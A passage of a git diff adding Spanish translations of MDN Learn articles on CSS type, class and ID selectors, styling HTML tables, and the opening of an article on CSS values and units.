+<p>Un <strong>selector de tipo</strong> también recibe el nombre de <em>selector de nombre de etiqueta</em> o <em>selector de elemento</em> porque selecciona un elemento/etiqueta HTML del documento. En el ejemplo siguiente hemos utilizado los selectores span, em y strong. Se aplica estilo a todas las instancias de los elementos <code>&lt;span&gt;</code>, <code>&lt;em&gt;</code> y <code>&lt;strong&gt;</code>.</p>
+
+<p><strong>Trata de añadir una regla CSS que seleccione el elemento <code>&lt;h1&gt;</code> y cambie su color para que se vea azul.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/type.html", '100%', 1100)}}</p>
+
+<h2 id="El_selector_universal">El selector universal</h2>
+
+<p>El selector universal se indica con un asterisco (<code>*</code>) y selecciona todos los elementos del documento (o del elemento padre si está encadenado con otro elemento y un operador de combinación descendente, por ejemplo). En el ejemplo siguiente hemos utilizado el selector universal para eliminar los márgenes en todos los elementos. Esto significa que en lugar de la opción predeterminada de aplicación de estilos del navegador, que muestra los títulos de encabezado y los párrafos separados por un margen de respeto, todo se mostrará pegado y no resultará tan fácil distinguir los diversos párrafos.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}}</p>
+
+<p>Es posible observar este tipo de comportamiento en las «hojas de estilo de puesta a cero» (o «hojas de estilo <em>reset</em>»), que anulan el formato del navegador. Fueron muy populares en un momento dado; sin embargo, excluir todo el estilo significa que luego tienes que ponerlo todo de nuevo. Por este motivo tendemos a utilizar el selector universal con mucho cuidado, y para situaciones muy específicas como la que se describe a continuación.</p>
+
+<h3 id="Uso_del_selector_universal_para_facilitar_la_legibilidad_de_tus_selectores">Uso del selector universal para facilitar la legibilidad de tus selectores</h3>
+
+<p>Uno de los usos del selector universal es facilitar la legibilidad de los selectores y clarificar sus funciones. Por ejemplo, si quiero seleccionar el primer elemento hijo de cualquier elemento <code>&lt;article&gt;</code> y poner ese elemento, cualquiera que sea, en negrita, puedo utilizar el selector {{cssxref(":first-child")}}, que veremos con mayor detalle más adelante en el artículo de <a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Pseudo-clases_y_pseudo-elementos">pseudoclases y pseudoelementos</a>, como selector descendente junto con el selector de elemento <code>&lt;article&gt;</code>: </p>
+
+<pre class="brush: css notranslate">article :first-child {
+
+}</pre>
+
+<p>Sin embargo, esto podría confundirse con <code>article:first-child</code>, que selecciona cualquier elemento <code>&lt;article&gt;</code> que sea el primer elemento hijo de otro elemento.</p>
+
+<p>Para evitar esta confusión podemos añadir al selector <code>:first-child</code> el selector universal. De este modo la función del selector resulta obvia: seleccionará <em>cualquier</em> elemento que entre en la jerarquía de primer hijo de un elemento <code>&lt;article&gt;</code>:</p>
+
+<pre class="brush: css notranslate">article *:first-child {
+
+} </pre>
+
+<h2 id="Selectores_de_clase">Selectores de clase</h2>
+
+<p>El selector de clase comienza con un punto (<code>.</code>) y selecciona todo elemento del documento que esté afectado por esa clase. En el ejemplo siguiente hemos creado una clase llamada <code>.highlight</code> y la hemos aplicado en varios lugares del documento. Todos los elementos a los que se aplique esta clase se resaltarán en amarillo.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class.html", '100%', 750)}}</p>
+
+<h3 id="Delimitación_de_clases_en_elementos_particulares">Delimitación de clases en elementos particulares</h3>
+
+<p>Puedes crear un selector que seleccionará los elementos concretos que estén afectados por esa clase. En el ejemplo siguiente vamos a introducir un resaltado en un elemento <code>&lt;span&gt;</code> con una clase <code>highlight</code> del de los títulos <code>&lt;h1&gt;</code> con clase <code>highlight</code>. Para ello hay que anexar esa clase al selector de tipo correspondiente al elemento que queremos delimitar, sin dejar entre ellos ningún espacio.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class-type.html", '100%', 750)}}</p>
+
+<p>Este enfoque hace el elemento CSS menos reutilizable porque la clase solo se aplicará a ese elemento en particular y tendrás que agregar otro selector en caso que quieras que las normas también se apliquen a otros elementos.</p>
+
+<h3 id="Delimitar_un_elemento_afectado_por_más_de_una_clase">Delimitar un elemento afectado por más de una clase</h3>
+
+<p>Puedes aplicar más de una clase a un elemento y delimitarlos de forma individual o seleccionar el elemento cuando todas las clases están presentes en el selector. Puede ser útil cuando se trabaja con componentes que se pueden combinar de maneras diferentes en tu página web.</p>
+
+<p>En el ejemplo siguiente hay un elemento <code>&lt;div&gt;</code> que contiene una nota. El borde gris se aplica cuando la caja tiene una clase <code>notebox</code>. Si además tiene una clase <code>warning</code> o <code>danger</code>, la propiedad {{cssxref("border-color")}} cambia.</p>
+
+<p>Para decirle al navegador que solo queremos seleccionar el elemento si incluye todas estas clases, las encadenamos juntas sin ningún espacio entre ellas.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/class-many.html", '100%', 900)}}</p>
+
+<h2 id="Selectores_de_ID">Selectores de ID</h2>
+
+<p>Un selector de ID comienza con un carácter <code>#</code> en lugar de un punto, pero se utiliza básicamente de la misma manera que un selector de clase. Sin embargo, un ID se puede utilizar una sola vez en cada documento, y a cada elemento solo se le puede aplicar un único <code>id</code>. Puede seleccionar un elemento que tenga propiedad <code>id</code> y ese ID puede ir precedido de un selector de tipo que seleccionará el elemento solo si el elemento y el ID coinciden. En el ejemplo siguiente puedes ver todos estos usos:</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/selectors/id.html", '100%', 750)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Como aprendimos en el artículo sobre la especificidad, un ID tiene una especificidad muy alta y anula la mayoría de los otros selectores. Esto puede dificultar su uso. En la mayoría de los casos es preferible añadir una clase al elemento en lugar de utilizar un ID. Sin embargo, si el ID es la única manera de seleccionar el elemento (tal vez porque no tengas acceso al marcado y, por lo tanto, no lo puedes editar) no hay ningún problema en utilizarlo.</p>
+</div>
+
+<h2 id="En_el_próximo_artículo">En el próximo artículo</h2>
+
+<p>Seguiremos con la descripción de los selectores examinando los <a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_atributos">selectores de atributo</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks/Selectors/Attribute_selectors", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">La cascada y la herencia</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">Selectores CSS</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Selectores de tipo, de clase y de ID</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Selectores de atributo</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Las pseudoclases y los pseudoelementos</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Operadores de combinación</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">El modelo de caja</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Fondos y bordes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">El uso de diferentes direcciones de texto</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">El desbordamiento de los contenidos</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Los valores y las unidades</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Elementos de dimensionado en CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Imágenes, media y elementos de formulario</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Depurar el CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizar el CSS</a></li>
+</ol>
diff --git a/files/es/learn/css/building_blocks/styling_tables/index.html b/files/es/learn/css/building_blocks/styling_tables/index.html
new file mode 100644
index 0000000000..283df180e4
--- /dev/null
+++ b/files/es/learn/css/building_blocks/styling_tables/index.html
@@ -0,0 +1,282 @@
+---
+title: Estilizando tablas
+slug: Learn/CSS/Building_blocks/Styling_tables
+translation_of: Learn/CSS/Building_blocks/Styling_tables
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}</div>
+
+<p class="summary">Aplicar estilos a una tabla HTML no es el trabajo más interesante del mundo, pero a veces hay que hacerlo. Este artículo proporciona una guía para hacer que las tablas HTML presenten un aspecto agradable, para ello usaremos algunas de las características específicas para tablas que hemos destacado en artículos anteriores.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de HTML (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>) y <a href="/es/docs/Learn/HTML/Tablas">tablas HTML</a>, y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Introducción al CSS</a>.)</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a aplicar estilo a tablas HTML de una forma efectiva.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Una_tabla_HTML_típica">Una tabla HTML típica</h2>
+
+<p>Comencemos por echar un vistazo a una tabla HTML típica. Bueno, decimos típica porque la mayoría de los ejemplos de tablas HTML son sobre zapatos, el tiempo o empleados; y hemos decidido hacer las cosas más interesantes creando una tabla sobre grupos de música punk famosos del Reino Unido. El código es el siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;table summary="Los grupos de música punk más famosos del Reino Unido"&gt;
+  &lt;caption&gt;Un resumen de los grupos de música punk más famosos del Reino Unido&lt;/caption&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th scope="col"&gt;Grupo&lt;/th&gt;
+      &lt;th scope="col"&gt;Año de formación&lt;/th&gt;
+      &lt;th scope="col"&gt;Número de álbumes&lt;/th&gt;
+      &lt;th scope="col"&gt;Canción más conocida&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Buzzcocks&lt;/th&gt;
+      &lt;td&gt;1976&lt;/td&gt;
+      &lt;td&gt;9&lt;/td&gt;
+      &lt;td&gt;Ever fallen in love (with someone you shouldn't've)&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;The Clash&lt;/th&gt;
+      &lt;td&gt;1976&lt;/td&gt;
+      &lt;td&gt;6&lt;/td&gt;
+      &lt;td&gt;London Calling&lt;/td&gt;
+    &lt;/tr&gt;
+
+      ... se han eliminado algunas filas por abreviar
+
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;The Stranglers&lt;/th&gt;
+      &lt;td&gt;1974&lt;/td&gt;
+      &lt;td&gt;17&lt;/td&gt;
+      &lt;td&gt;No More Heroes&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;th scope="row" colspan="2"&gt;Número total de álbumes&lt;/th&gt;
+      &lt;td colspan="2"&gt;77&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+&lt;/table&gt;</pre>
+
+<p>La tabla está bien creada, puede aplicársele estilo fácilmente y presenta características de accesibilidad gracias a propiedades como {{htmlattrxref("scope","th")}}, {{htmlelement("caption")}}, {{htmlattrxref("summary","table")}}, {{htmlelement("thead")}}, {{htmlelement("tbody")}}, etc. Por desgracia, no presenta un aspecto agradable cuando se muestra en pantalla (puedes ver el ejemplo en <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html">punk-bands-unstyled.html</a>):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13064/table-unstyled.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Tal y como está, es aburrida y difícil de leer. Necesitamos usar algo de CSS para arreglar esto.</p>
+
+<h2 id="Aprendizaje_activo_Aplicar_estilo_a_nuestra_tabla">Aprendizaje activo: Aplicar estilo a nuestra tabla</h2>
+
+<p>En esta sección de aprendizaje activo vamos a aplica estilo a nuestra tabla juntos.</p>
+
+<ol>
+ <li>Para comenzar, crea una copia local del <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-unstyled.html" title="código de ejemplo">código de ejemplo</a>, descarga las dos imágenes (<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/noise.png">noise</a> y <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/leopardskin.jpg">leopardskin</a>), y pon los tres archivos en alguna carpeta de tu ordenador.</li>
+ <li>Ahora crea un archivo nuevo llamado <code>style.css</code> y guárdalo con el resto de archivos, en la misma carpeta.</li>
+ <li>Enlaza el CSS al HTML copiando la línea siguiente en {{htmlelement("head")}}:
+  <pre class="brush: html notranslate">&lt;link href="style.css" rel="stylesheet" type="text/css"&gt;</pre>
+ </li>
+</ol>
+
+<h3 id="Espaciado_y_distribución">Espaciado y distribución</h3>
+
+<p>Lo primero que hay que hacer es solucionar los aspectos de espaciado/distribución; ¡el estilo por defecto de la tabla es tan apretado! Para ello, añadimos el CSS siguiente al archivo <code>style.css</code>:</p>
+
+<pre class="brush: css notranslate">/* spacing */
+
+table {
+  table-layout: fixed;
+  width: 100%;
+  border-collapse: collapse;
+  border: 3px solid purple;
+}
+
+thead th:nth-child(1) {
+  width: 30%;
+}
+
+thead th:nth-child(2) {
+  width: 20%;
+}
+
+thead th:nth-child(3) {
+  width: 15%;
+}
+
+thead th:nth-child(4) {
+  width: 35%;
+}
+
+th, td {
+  padding: 20px;
+}</pre>
+
+<p>Las partes más importantes que destacamos son:</p>
+
+<ul>
+ <li>En general es una buena idea establecer un valor {{cssxref("table-layout")}} en <code>fixed</code> para la tabla porque le proporciona un comportamiento predeterminado predecible. Normalmente se tiende a dar un tamaño de columna según la cantidad de contenido que haya en estas, lo que suele producir resultados extraños. Con <code>table-layout: fixed</code>, puedes dar a las columnas un tamaño de acuerdo con el ancho de sus celdas de encabezado y a continuación gestionar los contenidos de la forma que te parezca más adecuada. Por esto hemos seleccionado los cuatro encabezados con el selector <code>thead th:nth-child(<em>n</em>)</code> ({{cssxref(":nth-child")}}) (Seleccionar el descendiente enésimo que es un elemento {{htmlelement("th")}} en una secuencia dentro del elemento {{htmlelement("thead")}}) y, dados estos, asignar los porcentajes de anchura. Chris Coyier expone esta técnica con más detalle en <a href="https://css-tricks.com/fixing-tables-long-strings/">Fixed Table Layouts</a>.<br>
+  <br>
+  Hemos emparejado esto con un {{cssxref("width")}} del 100%, que significa que la tabla llenará cualquier contenedor en la que se ubique, y presentará unas buenas características adaptativas (aunque podría requerir algo más de trabajo para que se vea bien en pantallas de anchuras estrechas).</li>
+ <li>Un valor {{cssxref("border-collapse")}} de <code>collapse</code> es una buena práctica estándar para cualquier tarea de aplicación de estilo a tablas. Por defecto, cuando estableces los bordes de los elementos de la tabla, quedará un espacio entre ellos, como se muestra en la imagen siguiente. <img alt="" src="https://mdn.mozillademos.org/files/13068/no-border-collapse.png" style="display: block; margin: 0 auto;"> Esto no presenta un aspecto agradable (aunque puede ser el aspecto que buscas, ¡quién sabe!). Si estableces <code>border-collapse: collapse;</code>, los bordes se reducen a uno, y así presenta un aspecto mucho más agradable: <img alt="" src="https://mdn.mozillademos.org/files/13066/border-collapse.png" style="display: block; margin: 0 auto;"></li>
+ <li>Hemos puesto un borde ({{cssxref("border")}}) alrededor de la tabla, que es necesario, porque vamos a poner bordes en la cabecera de la tabla y después en el pie; queda raro e inconexo si no pones ningún borde a la tabla que la delimite del resto de los elementos del exterior y quedan huecos.</li>
+ <li>Hemos puesto área de relleno ({{cssxref("padding")}}) en los elementos {{htmlelement("th")}} y {{htmlelement("td")}}; esto da a los datos espacio para que respiren y mejora la legibilidad de la tabla.</li>
+</ul>
+
+<p>En este punto, nuestra tabla ya presenta un aspecto mucho más agradable:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13070/table-with-spacing.png" style="display: block; margin: 0 auto;"></p>
+
+<h3 id="Un_poco_de_tipografía">Un poco de tipografía</h3>
+
+<p>Ahora arreglaremos un poco nuestro texto.</p>
+
+<p>En primer lugar, hemos ido a <a href="https://www.google.com/fonts">Google Fonts</a> y hemos encontrado un tipo de letra adecuado para una tabla sobre bandas punk. Puedes buscar uno diferente si lo deseas; solo tienes que reemplazar el elemento {{htmlelement ("link")}} que te hemos proporcionado y la declaración {{cssxref ("font-family")}} personalizada por las que te proporcione Google Fonts.</p>
+
+<p>Primero, añade el elemento {{htmlelement ("link")}} siguiente a tu encabezado HTML, justo encima del elemento <code>&lt;link&gt;</code>:</p>
+
+<pre class="brush: html notranslate">&lt;link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'&gt;</pre>
+
+<p>Ahora añade el CSS siguiente a tu archivo <code>style.css</code>, debajo de la línea añadida anterior:</p>
+
+<pre class="brush: css notranslate">/* typography */
+
+html {
+  font-family: 'helvetica neue', helvetica, arial, sans-serif;
+}
+
+thead th, tfoot th {
+  font-family: 'Rock Salt', cursive;
+}
+
+th {
+  letter-spacing: 2px;
+}
+
+td {
+  letter-spacing: 1px;
+}
+
+tbody td {
+  text-align: center;
+}
+
+tfoot th {
+  text-align: right;
+}</pre>
+
+<p>En realidad aquí no hay nada que sea específico para las tablas. En general, modificamos el estilo de la letra para facilitar la lectura:</p>
+
+<ul>
+ <li>Hemos establecido una lista global de fuentes Sans Serif. Esto es puramente una elección de estilo. También hemos configurado nuestro tipo de letra personalizada en los encabezados que hay dentro de los elementos {{htmlelement ("thead")}} y {{htmlelement ("tfoot")}} para dotarlos de una encantadora sucia estética punk.</li>
+ <li>Hemos establecido algunos {{cssxref("letter-spacing")}} en los encabezados y las celdas, porque creemos que ayuda a la legibilidad. De nuevo es, sobre todo, una elección estilística.</li>
+ <li>Hemos establecido en el elemento {{htmlelement("tbody")}} el centrado del texto en las celdas de la tabla para que se queden alineadas con los encabezados. Por defecto, en {{cssxref("text-align")}} se asigna un valor <code>left</code> para las celdas, y un valor <code>center</code> para los encabezados, pero a menudo queda mejor disponer las alineaciones de texto establecidas de la misma manera en ambos. El peso predeterminado para la negrita en los tipos de letra de los encabezados basta para diferenciar su aspecto.</li>
+ <li>Hemos establecido el texto del encabezado alineado a la derecha en el elemento {{htmlelement ("tfoot")}} para que visualmente quede mejor asociado con sus datos.</li>
+</ul>
+
+<p>El resultado se ve un poco más limpio:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13072/table-with-typography.png" style="display: block; margin: 0 auto;"></p>
+
+<h3 id="Gráficos_y_colores">Gráficos y colores</h3>
+
+<p>Ahora, ¡a por los gráficos y los colores! Puesto que la tabla rezuma contenido y actitud punk, vamos a darle un brillante estilo imponente que le pegue. No te preocupes, no tienes que hacer tus tablas tan extremadas: puedes optar por algo más sutil y de buen gusto.</p>
+
+<p>Empieza añadiendo el CSS siguiente a tu archivo <code>style.css</code>, de nuevo al final:</p>
+
+<pre class="brush: css notranslate">thead, tfoot {
+  background: url(leopardskin.jpg);
+  color: white;
+  text-shadow: 1px 1px 1px black;
+}
+
+thead th, tfoot th, tfoot td {
+  background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5));
+  border: 3px solid purple;
+}
+</pre>
+
+<p>Una vez más, aquí no hay nada específico para las tablas, pero vale la pena señalar algunas cosas.</p>
+
+<p>Hemos añadido una imagen de fondo ({{cssxref("background-image")}}) a los elementos {{htmlelement("thead")}} y {{htmlelement("tfoot")}}, y hemos cambiado el ({{cssxref("color")}}) de todo el texto del encabezado y el pie de página por el blanco (y le hemos dado una sombra, {{cssxref("text-shadow")}}) para que sea legible. Siempre debes asegurarte de que tu texto contraste bien con el fondo, para que sea legible.</p>
+
+<p>También hemos añadido un degradado lineal a los elementos {{htmlelement("th")}} y {{htmlelement("td")}} del encabezado y el pie de página para obtener un poco de textura, y también hemos dado a esos elementos un borde púrpura brillante. Es útil tener múltiples elementos anidados disponibles para que puedas superponer estilos. Sí, podríamos haber colocado tanto la imagen de fondo como el gradiente lineal en los elementos {{htmlelement ("thead")}} y {{htmlelement ("tfoot")}} utilizando múltiples imágenes de fondo, pero decidimos hacerlo por separado por los navegadores más antiguos que no admiten múltiples imágenes de fondo o gradientes lineales.</p>
+
+<h4 id="Rayas_de_cebra">Rayas de cebra</h4>
+
+<p>Queremos dedicar una sección independiente a mostrarte cómo implementar <strong>rayas de cebra</strong>, alternando filas de color que facilitan el análisis y la legibilidad de las diversas filas de datos de la tabla. Añade el CSS siguiente al final de tu archivo <code>style.css</code>:</p>
+
+<pre class="brush: css notranslate">tbody tr:nth-child(odd) {
+  background-color: #ff33cc;
+}
+
+tbody tr:nth-child(even) {
+  background-color: #e495e4;
+}
+
+tbody tr {
+  background-image: url(noise.png);
+}
+
+table {
+  background-color: #ff33cc;
+}</pre>
+
+<ul>
+ <li>Ya has visto el selector {{cssxref(":nth-child")}}, que se usa para seleccionar elementos hijo específicos. También se le puede dar una fórmula como parámetro, de modo que seleccione una secuencia de elementos. La fórmula <code>2n-1</code> seleccionaría todos los elementos hijo impares (1, 3, 5, etc.), y la fórmula <code>2n</code>, todos los elementos hijo pares (2, 4, 6, etc.) Nosotros hemos utilizado las palabras clave <code>odd</code> y <code>even</code> en nuestro código, que hacen exactamente lo mismo que las fórmulas mencionadas. En este caso, damos a las filas pares y a las impares (espeluznantes) colores diferentes.</li>
+ <li>También hemos añadido un mosaico de fondo repetitivo a todas las filas del cuerpo de la tabla, que es solo un poco de ruido (un <code>.png</code> semitransparente con un poco de distorsión visual) para proporcionar algo de textura.</li>
+ <li>Por último, le hemos dado a toda la tabla un color de fondo sólido para que los navegadores que no admiten el selector <code>:nth-child</code> todavía dispongan de un fondo para las filas del cuerpo de la tabla.</li>
+</ul>
+
+<p>Esta explosión de colores da como resultado el aspecto siguiente:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13074/table-with-color.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Esto puede quedar un poco exagerado y no ser de tu agrado, pero el punto que tratamos de explicar es que las tablas no tienen por qué ser aburridas ni académicas.</p>
+
+<h3 id="Aplicar_estilo_al_título">Aplicar estilo al título</h3>
+
+<p>Hay una última cosa que hacer con nuestra tabla: aplicar estilo al título. Para ello, añade al final de tu archivo <code>style.css</code> lo siguiente:</p>
+
+<pre class="brush: css notranslate">caption {
+  font-family: 'Rock Salt', cursive;
+  padding: 20px;
+  font-style: italic;
+  caption-side: bottom;
+  color: #666;
+  text-align: right;
+  letter-spacing: 1px;
+}</pre>
+
+<p>Aquí no hay nada notable, excepto la propiedad {{cssxref ("caption-side")}}, a la que se le ha dado un valor <code>bottom</code>. Esto coloca el título en la parte inferior de la tabla, lo que junto con el resto de declaraciones nos proporciona este aspecto final (puedes verlo vivo en <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a>):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13076/table-with-caption.png" style="display: block; height: 357px; margin: 0px auto; width: 723px;"></p>
+
+<h2 id="Aprendizaje_activo_Aplica_estilo_a_tu_tabla">Aprendizaje activo: Aplica estilo a tu tabla</h2>
+
+<p>En este punto, nos gustaría que tomes nuestro ejemplo de tabla HTML (¡o que uses uno propio!) y que le apliques estilo para obtener algo considerablemente mejor diseñado y menos llamativo que nuestra tabla.</p>
+
+<h2 id="Consejos_rápidos_para_el_diseño_de_tablas">Consejos rápidos para el diseño de tablas</h2>
+
+<p>Antes de seguir adelante, creemos que tendríamos que proporcionar una lista rápida de los puntos más útiles que acabamos de ilustrar:</p>
+
+<ul>
+ <li>Haz el marcado de la tabla lo más simple posible y mantén las cosas flexibles. Por ejemplo, con el uso de porcentajes, para que el diseño sea más adaptativo.</li>
+ <li>Usa {{cssxref("table-layout")}}<code>: fixed</code> para crear un diseño de tabla más predecible que te permita establecer con facilidad los anchos de columna configurando {{cssxref("width")}} en sus encabezados ({{htmlelement("th")}}).</li>
+ <li>Usa {{cssxref ("border-collapse")}}<code>: collapse</code> para que los bordes de los elementos de la tabla colapsen entre sí y proporcionen una apariencia más ordenada y más fácil de controlar.</li>
+ <li>Usa {{htmlelement ("thead")}}, {{htmlelement ("tbody")}} y {{htmlelement ("tfoot")}} para dividir la tabla en fragmentos lógicos y proporcionar lugares adicionales para aplicarle CSS, para superponer estilos entre sí con más facilidad, si es necesario.</li>
+ <li>Usa rayas de cebra en filas alternativas para facilitar la legibilidad.</li>
+ <li>Usa {{cssxref ("text-align")}} para alinear el texto en tus elementos {{htmlelement ("th")}} y {{htmlelement ("td")}}, para ordenar los elementos y facilitar su legibilidad.</li>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Después de aplicar estilo a las tablas, necesitamos algo más en que ocupar nuestro tiempo. El artículo siguiente expone la depuración de documentos CSS, es decir, cómo resolver problemas como diseños de página que no presentan el aspecto que deberían, o propiedades que no se aplican cuando crees que deberían aplicarse. Esto incluye información sobre el uso de las herramientas DevTools del navegador para hallar soluciones a tus problemas.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}</p>
diff --git a/files/es/learn/css/building_blocks/valores_y_unidades_css/index.html b/files/es/learn/css/building_blocks/valores_y_unidades_css/index.html
new file mode 100644
index 0000000000..4470746bc8
--- /dev/null
+++ b/files/es/learn/css/building_blocks/valores_y_unidades_css/index.html
@@ -0,0 +1,392 @@
+---
+title: Valores y unidades CSS
+slug: Learn/CSS/Building_blocks/Valores_y_unidades_CSS
+translation_of: Learn/CSS/Building_blocks/Values_and_units
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</div>
+
+<p>Todas las propiedades que se utilizan en CSS tienen un valor o un conjunto de valores que esa propiedad admite, y echar un vistazo a cualquier página de propiedades en MDN te ayudará a comprender qué valores admite una propiedad en particular. En este artículo veremos algunos de los valores y unidades más comunes en uso.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico</a> instalado, conocimientos básicos de <a href="/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, HTML básico (véase <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>) y nociones de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con el CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Conocer los diferentes tipos de valores y unidades que admiten las propiedades CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_un_valor_CSS">¿Qué es un valor CSS?</h2>
+
+<p>En las especificaciones CSS y en las páginas de propiedades de este proyecto MDN, podrás detectar los valores porque estarán escritos entre corchetes angulares, como <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code> o <code><a href="/en-US/docs/Web/CSS/length">&lt;length&gt;</a></code>. Cuando veas que el valor <code>&lt;color&gt;</code> es válido para una propiedad en particular, significa que para esa propiedad puedes usar como valor cualquier color válido de entre los que se enumeran en la página de referencia de la propiedad <code><a href="/en-US/docs/Web/CSS/color_value">&lt;color&gt;</a></code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: También verás valores CSS denominados <em>tipos de datos</em>. Los términos son básicamente intercambiables: cuando veas algo en CSS denominado ‘tipo de datos’, en realidad es solo una forma elegante de decir ‘valor’.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Sí, hay una tendencia de denotar los valores CSS entre corchetes angulares, para diferenciarlos de las propiedades CSS (por ejemplo, la propiedad {{cssxref ("color")}} con respecto al tipo de dato <a href="/es/docs/Web/CSS/color_value">&lt;color&gt;</a>). Aunque podría generarte confusión entre los tipos de datos CSS y los elementos HTML, porque ambos usan corchetes angulares, es poco probable porque se usan en contextos muy diferentes.</p>
+</div>
+
+<p>En el ejemplo siguiente hemos establecido el color de nuestro encabezado con una palabra clave y el fondo con la función <code>rgb()</code>:</p>
+
+<pre class="brush: css notranslate"><code>h1 {
+  color: black;
+  background-color: rgb(197,93,161);
+} </code>
+</pre>
+
